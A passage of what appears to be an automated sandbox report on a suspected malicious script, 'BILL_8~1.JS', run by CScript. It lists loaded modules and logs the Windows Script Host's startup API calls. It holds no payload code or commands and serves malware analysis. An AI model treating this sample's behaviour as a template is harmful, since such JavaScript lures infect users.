	            name = "msxml3r.dll"
	        filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll")

Region:
	              id = 345
	        start_va = 0x7ffbf6fc0000
	          end_va = 0x7ffbf7156fff
	     entry_point = 0x7ffbf6fc0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 346
	        start_va = 0x7ffbf9380000
	          end_va = 0x7ffbf96f5fff
	     entry_point = 0x7ffbf9380000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 347
	        start_va = 0x7ffbf5c50000
	          end_va = 0x7ffbf5ef6fff
	     entry_point = 0x7ffbf5c50000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 348
	        start_va = 0x7ffbedf30000
	          end_va = 0x7ffbedf6cfff
	     entry_point = 0x7ffbedf30000
	     region_type = mapped_file
	            name = "mlang.dll"
	        filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll")

Region:
	              id = 349
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 350
	        start_va = 0x95b9b30000
	          end_va = 0x95b9b30fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9b30000"
	        filename = ""

Region:
	              id = 351
	        start_va = 0x95b9b40000
	          end_va = 0x95b9b40fff
	     entry_point = 0x95b9b40000
	     region_type = mapped_file
	            name = "counters.dat"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")

Region:
	              id = 352
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 353
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 354
	        start_va = 0x7ffbf9250000
	          end_va = 0x7ffbf9264fff
	     entry_point = 0x7ffbf9250000
	     region_type = mapped_file
	            name = "ondemandconnroutehelper.dll"
	        filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll")

Region:
	              id = 355
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 356
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 357
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 358
	        start_va = 0x95b9b50000
	          end_va = 0x95b9b50fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9b50000"
	        filename = ""

Region:
	              id = 359
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 360
	        start_va = 0x95b9b60000
	          end_va = 0x95b9b61fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9b60000"
	        filename = ""

Region:
	              id = 361
	        start_va = 0x95b9b60000
	          end_va = 0x95b9b6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9b60000"
	        filename = ""

Region:
	              id = 362
	        start_va = 0x7ffbf9f50000
	          end_va = 0x7ffbf9f59fff
	     entry_point = 0x7ffbf9f50000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 363
	        start_va = 0x7ffbf25b0000
	          end_va = 0x7ffbf262ffff
	     entry_point = 0x7ffbf25b0000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 364
	        start_va = 0x95b9b70000
	          end_va = 0x95b9b74fff
	     entry_point = 0x95b9b70000
	     region_type = mapped_file
	            name = "winnlsres.dll"
	        filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll")

Region:
	              id = 365
	        start_va = 0x95b9b80000
	          end_va = 0x95b9b8ffff
	     entry_point = 0x95b9b80000
	     region_type = mapped_file
	            name = "winnlsres.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui")

Region:
	              id = 366
	        start_va = 0x95bc190000
	          end_va = 0x95bc28ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc190000"
	        filename = ""

Region:
	              id = 367
	        start_va = 0x95bc2b0000
	          end_va = 0x95bc2bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc2b0000"
	        filename = ""

Region:
	              id = 368
	        start_va = 0x7ffbfced0000
	          end_va = 0x7ffbfcf37fff
	     entry_point = 0x7ffbfced0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 369
	        start_va = 0x95bb3c0000
	          end_va = 0x95bb3c2fff
	     entry_point = 0x95bb3c0000
	     region_type = mapped_file
	            name = "mswsock.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")

Region:
	              id = 370
	        start_va = 0x95bc6c0000
	          end_va = 0x95bc7bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc6c0000"
	        filename = ""

Region:
	              id = 371
	        start_va = 0x95bc7c0000
	          end_va = 0x95bc8bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc7c0000"
	        filename = ""

Region:
	              id = 372
	        start_va = 0x7ff6df558000
	          end_va = 0x7ff6df559fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df558000"
	        filename = ""

Region:
	              id = 373
	        start_va = 0x7ffbeac50000
	          end_va = 0x7ffbeac78fff
	     entry_point = 0x7ffbeac50000
	     region_type = mapped_file
	            name = "wshom.ocx"
	        filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx")

Region:
	              id = 374
	        start_va = 0x7ffbffad0000
	          end_va = 0x7ffbffaebfff
	     entry_point = 0x7ffbffad0000
	     region_type = mapped_file
	            name = "mpr.dll"
	        filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")

Region:
	              id = 375
	        start_va = 0x7ffbeab10000
	          end_va = 0x7ffbeac46fff
	     entry_point = 0x7ffbeab10000
	     region_type = mapped_file
	            name = "msado15.dll"
	        filename = "\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")

Region:
	              id = 376
	        start_va = 0x7ffbeaae0000
	          end_va = 0x7ffbeab04fff
	     entry_point = 0x7ffbeaae0000
	     region_type = mapped_file
	            name = "msdart.dll"
	        filename = "\\Windows\\System32\\msdart.dll" (normalized: "c:\\windows\\system32\\msdart.dll")

Region:
	              id = 377
	        start_va = 0x95bb3d0000
	          end_va = 0x95bb3e2fff
	     entry_point = 0x95bb3d0000
	     region_type = mapped_file
	            name = "wshom.ocx"
	        filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx")

Region:
	              id = 378
	        start_va = 0x95bc8c0000
	          end_va = 0x95bc9bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc8c0000"
	        filename = ""

Region:
	              id = 379
	        start_va = 0x7ff6df556000
	          end_va = 0x7ff6df557fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df556000"
	        filename = ""

Region:
	              id = 380
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 381
	        start_va = 0x7ffbf5460000
	          end_va = 0x7ffbf58c9fff
	     entry_point = 0x7ffbf5460000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 382
	        start_va = 0x95bb3f0000
	          end_va = 0x95bb3f3fff
	     entry_point = 0x95bb3f0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 383
	        start_va = 0x95bb400000
	          end_va = 0x95bb403fff
	     entry_point = 0x95bb400000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 384
	        start_va = 0x95bbb30000
	          end_va = 0x95bbb72fff
	     entry_point = 0x95bbb30000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000b.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000b.db")

Region:
	              id = 385
	        start_va = 0x95bbb80000
	          end_va = 0x95bbb90fff
	     entry_point = 0x95bbb80000
	     region_type = mapped_file
	            name = "propsys.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui")

Region:
	              id = 386
	        start_va = 0x95bbeb0000
	          end_va = 0x95bbf3afff
	     entry_point = 0x95bbeb0000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")

Region:
	              id = 387
	        start_va = 0x95bbf40000
	          end_va = 0x95bbf52fff
	     entry_point = 0x95bbf40000
	     region_type = mapped_file
	            name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001a.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db")

Region:
	              id = 388
	        start_va = 0x95bbf60000
	          end_va = 0x95bbf60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095bbf60000"
	        filename = ""

Region:
	              id = 389
	        start_va = 0x95bbf70000
	          end_va = 0x95bbf7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbf70000"
	        filename = ""

Region:
	              id = 390
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")


Thread:
	id = 1
	os_tid = 0xd9c

	[0037.302] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff6dfd80000
	[0037.302] GetVersionExA (in: lpVersionInformation=0x95b977fd50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x95b977fd50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0037.302] GetUserDefaultLCID () returned 0x409
	[0037.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x95b977f8c0, cchData=2 | out: lpLCData="") returned 2
	[0037.303] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffc03dc0000
	[0037.303] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="SetThreadUILanguage") returned 0x7ffc03ddd550
	[0037.303] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0037.304] FreeLibrary (hLibModule=0x7ffc03dc0000) returned 1
	[0037.304] GetCommandLineW () returned="\"C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" "
	[0037.304] wcscpy_s (in: _Destination=0x95b977fda0, _SizeInWords=0x4c, _Source="\"C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" " | out: _Destination="\"C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" ") returned 0x0
	[0037.304] wcscpy_s (in: _Destination=0x95b977fda0, _SizeInWords=0x4c, _Source="C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" " | out: _Destination="C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" ") returned 0x0
	[0037.304] wcscpy_s (in: _Destination=0x95b977fdde, _SizeInWords=0x2c, _Source="  \"C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" " | out: _Destination="  \"C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" ") returned 0x0
	[0037.304] wcscpy_s (in: _Destination=0x95b977fde2, _SizeInWords=0x29, _Source="C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" " | out: _Destination="C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" ") returned 0x0
	[0037.304] wcscpy_s (in: _Destination=0x95b977fe2c, _SizeInWords=0x3, _Source=" " | out: _Destination=" ") returned 0x0
	[0037.304] GetCurrentThreadId () returned 0xd9c
	[0037.304] CoInitialize (pvReserved=0x0) returned 0x0
	[0037.751] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977fa18 | out: phkResult=0x95b977fa18*=0x0) returned 0x2
	[0037.751] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977fa10 | out: phkResult=0x95b977fa10*=0xec) returned 0x0
	[0037.751] RegQueryValueExW (in: hKey=0xec, lpValueName="Enabled", lpReserved=0x0, lpType=0x95b977ed04, lpData=0x95b977f110, lpcbData=0x95b977ed00*=0x400 | out: lpType=0x95b977ed04*=0x0, lpData=0x95b977f110*=0x0, lpcbData=0x95b977ed00*=0x400) returned 0x2
	[0037.751] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
	[0037.805] RegCloseKey (hKey=0xec) returned 0x0
	[0037.805] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977f730 | out: phkResult=0x95b977f730*=0x0) returned 0x2
	[0037.805] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977f728 | out: phkResult=0x95b977f728*=0xec) returned 0x0
	[0037.805] RegQueryValueExW (in: hKey=0xec, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x95b977ea24, lpData=0x95b977ee30, lpcbData=0x95b977ea20*=0x400 | out: lpType=0x95b977ea24*=0x0, lpData=0x95b977ee30*=0x0, lpcbData=0x95b977ea20*=0x400) returned 0x2
	[0037.805] RegCloseKey (hKey=0xec) returned 0x0
	[0037.806] GetACP () returned 0x4e4
	[0037.806] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffc03dc0000
	[0037.806] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="HeapSetInformation") returned 0x7ffc03de0f40
	[0037.806] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0037.806] FreeLibrary (hLibModule=0x7ffc03dc0000) returned 1
	[0037.806] CoRegisterMessageFilter (in: lpMessageFilter=0x95b9b959d0, lplpMessageFilter=0x95b9b959e0 | out: lplpMessageFilter=0x95b9b959e0*=0x0) returned 0x0
	[0037.806] IUnknown:AddRef (This=0x95b9b959d0) returned 0x2
	[0037.807] GetModuleFileNameW (in: hModule=0x7ff6dfd80000, lpFilename=0x95b977fa90, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
	[0037.807] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\System32\\CScript.exe", lpdwHandle=0x95b977f3b0 | out: lpdwHandle=0x95b977f3b0) returned 0x714
	[0037.807] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\System32\\CScript.exe", dwHandle=0x0, dwLen=0x714, lpData=0x95b977ec90 | out: lpData=0x95b977ec90) returned 1
	[0037.807] VerQueryValueW (in: pBlock=0x95b977ec90, lpSubBlock="\\", lplpBuffer=0x95b977f3b8, puLen=0x95b977f3b4 | out: lplpBuffer=0x95b977f3b8*=0x95b977ecb8, puLen=0x95b977f3b4) returned 1
	[0037.807] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977f408 | out: phkResult=0x95b977f408*=0xec) returned 0x0
	[0037.807] RegQueryValueExW (in: hKey=0xec, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x95b977e744, lpData=0x95b977eb50, lpcbData=0x95b977e740*=0x400 | out: lpType=0x95b977e744*=0x0, lpData=0x95b977eb50*=0x0, lpcbData=0x95b977e740*=0x400) returned 0x2
	[0037.807] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977f3c0 | out: phkResult=0x95b977f3c0*=0x0) returned 0x2
	[0037.807] RegQueryValueExW (in: hKey=0xec, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x95b977f374, lpData=0x95b977f400, lpcbData=0x95b977f370*=0x4 | out: lpType=0x95b977f374*=0x0, lpData=0x95b977f400*=0x1, lpcbData=0x95b977f370*=0x4) returned 0x2
	[0037.807] RegQueryValueExW (in: hKey=0xec, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x95b977e744, lpData=0x95b977eb50, lpcbData=0x95b977e740*=0x400 | out: lpType=0x95b977e744*=0x1, lpData="1", lpcbData=0x95b977e740*=0x4) returned 0x0
	[0037.807] RegCloseKey (hKey=0xec) returned 0x0
	[0037.807] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x9500020019, lpSecurityAttributes=0x0, phkResult=0x95b977f408, lpdwDisposition=0x0 | out: phkResult=0x95b977f408*=0xec, lpdwDisposition=0x0) returned 0x0
	[0037.807] RegQueryValueExW (in: hKey=0xec, lpValueName="Timeout", lpReserved=0x0, lpType=0x95b977f394, lpData=0x95b977f400, lpcbData=0x95b977f390*=0x4 | out: lpType=0x95b977f394*=0x0, lpData=0x95b977f400*=0x1, lpcbData=0x95b977f390*=0x4) returned 0x2
	[0037.807] RegQueryValueExW (in: hKey=0xec, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x95b977e764, lpData=0x95b977eb70, lpcbData=0x95b977e760*=0x400 | out: lpType=0x95b977e764*=0x1, lpData="1", lpcbData=0x95b977e760*=0x4) returned 0x0
	[0037.807] RegCloseKey (hKey=0xec) returned 0x0
	[0037.808] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x7ffc00020019, lpSecurityAttributes=0x0, phkResult=0x95b977f408, lpdwDisposition=0x0 | out: phkResult=0x95b977f408*=0x11c, lpdwDisposition=0x0) returned 0x0
	[0037.808] RegQueryValueExW (in: hKey=0x11c, lpValueName="Timeout", lpReserved=0x0, lpType=0x95b977f394, lpData=0x95b977f400, lpcbData=0x95b977f390*=0x4 | out: lpType=0x95b977f394*=0x0, lpData=0x95b977f400*=0x1, lpcbData=0x95b977f390*=0x4) returned 0x2
	[0037.808] RegQueryValueExW (in: hKey=0x11c, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x95b977e764, lpData=0x95b977eb70, lpcbData=0x95b977e760*=0x400 | out: lpType=0x95b977e764*=0x0, lpData=0x95b977eb70*=0x31, lpcbData=0x95b977e760*=0x400) returned 0x2
	[0037.808] RegCloseKey (hKey=0x11c) returned 0x0
	[0037.808] wcscpy_s (in: _Destination=0x95b977f68c, _SizeInWords=0x104, _Source="C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS" | out: _Destination="C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS") returned 0x0
	[0037.809] LoadStringW (in: hInstance=0x7ff6dfd80000, uID=0x834, lpBuffer=0x95b977e300, cchBufferMax=2048 | out: lpBuffer="Microsoft (R) Windows Script Host Version %1!u!.%2!u!\nCopyright (C) Microsoft Corporation. All rights reserved.\n") returned 0x70
	[0037.809] FormatMessageW (in: dwFlags=0x500, lpSource=0x95b98396a8, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x95b977f2e8, nSize=0x0, Arguments=0x95b977f358 | out: lpBuffer="ꇰ릃\x95") returned 0x6c
	[0037.809] LocalFree (hMem=0x95b983a1f0) returned 0x0
	[0037.809] GetStdHandle (nStdHandle=0xfffffff5) returned 0x2c
	[0037.811] GetConsoleMode (in: hConsoleHandle=0x2c, lpMode=0x95b977f0a0 | out: lpMode=0x95b977f0a0) returned 1
	[0037.811] WriteConsoleW (in: hConsoleOutput=0x2c, lpBuffer=0x95b9839bc0*, nNumberOfCharsToWrite=0x6e, lpNumberOfCharsWritten=0x95b977f0a8, lpReserved=0x0 | out: lpBuffer=0x95b9839bc0*, lpNumberOfCharsWritten=0x95b977f0a8*=0x6e) returned 1
	[0037.812] LoadStringW (in: hInstance=0x7ff6dfd80000, uID=0x7d1, lpBuffer=0x95b977de20, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13
	[0037.813] LoadTypeLib (in: szFile="C:\\Windows\\System32\\CScript.exe", pptlib=0x95b977ee60*=0x0 | out: pptlib=0x95b977ee60*=0x95b983a400) returned 0x0
	[0037.818] ITypeLib:GetTypeInfoOfGuid (in: This=0x95b983a400, GUID=0x7ff6dfd96e90*(Data1=0x91afbd1b, Data2=0x5feb, Data3=0x43f5, Data4=([0]=0xb0, [1]=0x28, [2]=0xe2, [3]=0xca, [4]=0x96, [5]=0x6, [6]=0x17, [7]=0xec)), ppTInfo=0x95b977ee48 | out: ppTInfo=0x95b977ee48*=0x95b983ac88) returned 0x0
	[0038.011] ITypeLib:GetTypeInfoOfGuid (in: This=0x95b983a400, GUID=0x7ff6dfd96a90*(Data1=0x2cc5a9d0, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x95b977ee18 | out: ppTInfo=0x95b977ee18*=0x95b983ad38) returned 0x0
	[0038.012] ITypeInfo:GetRefTypeOfImplType (in: This=0x95b983ad38, index=0xffffffff, pRefType=0x95b977ee10 | out: pRefType=0x95b977ee10*=0xfffffffe) returned 0x0
	[0038.012] ITypeInfo:GetRefTypeInfo (in: This=0x95b983ad38, hreftype=0xfffffffe, ppTInfo=0x7ff6dfda20c8 | out: ppTInfo=0x7ff6dfda20c8*=0x95b983ad90) returned 0x0
	[0038.012] IUnknown:Release (This=0x95b983ad38) returned 0x1
	[0038.012] ITypeLib:GetTypeInfoOfGuid (in: This=0x95b983a400, GUID=0x7ff6dfd977a0*(Data1=0xbf64faf0, Data2=0x5906, Data3=0x426c, Data4=([0]=0xb4, [1]=0xbc, [2]=0x7b, [3]=0x75, [4]=0x3c, [5]=0xbe, [6]=0x81, [7]=0x9f)), ppTInfo=0x95b977ee18 | out: ppTInfo=0x95b977ee18*=0x95b983ade8) returned 0x0
	[0038.012] ITypeInfo:GetRefTypeOfImplType (in: This=0x95b983ade8, index=0xffffffff, pRefType=0x95b977ee10 | out: pRefType=0x95b977ee10*=0xfffffffe) returned 0x0
	[0038.012] ITypeInfo:GetRefTypeInfo (in: This=0x95b983ade8, hreftype=0xfffffffe, ppTInfo=0x7ff6dfda2088 | out: ppTInfo=0x7ff6dfda2088*=0x95b983ae40) returned 0x0
	[0038.012] IUnknown:Release (This=0x95b983ade8) returned 0x1
	[0038.012] ITypeLib:GetTypeInfoOfGuid (in: This=0x95b983a400, GUID=0x7ff6dfd96ea0*(Data1=0x2cc5a9d1, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x95b977ee18 | out: ppTInfo=0x95b977ee18*=0x95b983ae98) returned 0x0
	[0038.012] ITypeInfo:GetRefTypeOfImplType (in: This=0x95b983ae98, index=0xffffffff, pRefType=0x95b977ee10 | out: pRefType=0x95b977ee10*=0xfffffffe) returned 0x0
	[0038.012] ITypeInfo:GetRefTypeInfo (in: This=0x95b983ae98, hreftype=0xfffffffe, ppTInfo=0x7ff6dfda2048 | out: ppTInfo=0x7ff6dfda2048*=0x95b983aef0) returned 0x0
	[0038.012] IUnknown:Release (This=0x95b983ae98) returned 0x1
	[0038.012] IUnknown:Release (This=0x95b983a400) returned 0x4
	[0038.012] GetCurrentThreadId () returned 0xd9c
	[0038.012] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x128
	[0038.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x7ff6dfd81790, lpParameter=0x95b9b95bf0, dwCreationFlags=0x0, lpThreadId=0x95b9b95c18 | out: lpThreadId=0x95b9b95c18*=0xdbc) returned 0x12c
	[0038.013] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x95b977f090*=0x128, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0
	[0038.024] CloseHandle (hObject=0x128) returned 1
	[0038.024] GetFullPathNameW (in: lpFileName="C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS", nBufferLength=0x104, lpBuffer=0x95b977f180, lpFilePart=0x95b977f178 | out: lpBuffer="C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS", lpFilePart=0x95b977f178*="BILL_8~1.JS") returned 0x25
	[0038.024] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey=".JS", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977e680 | out: phkResult=0x95b977e680*=0x146) returned 0x0
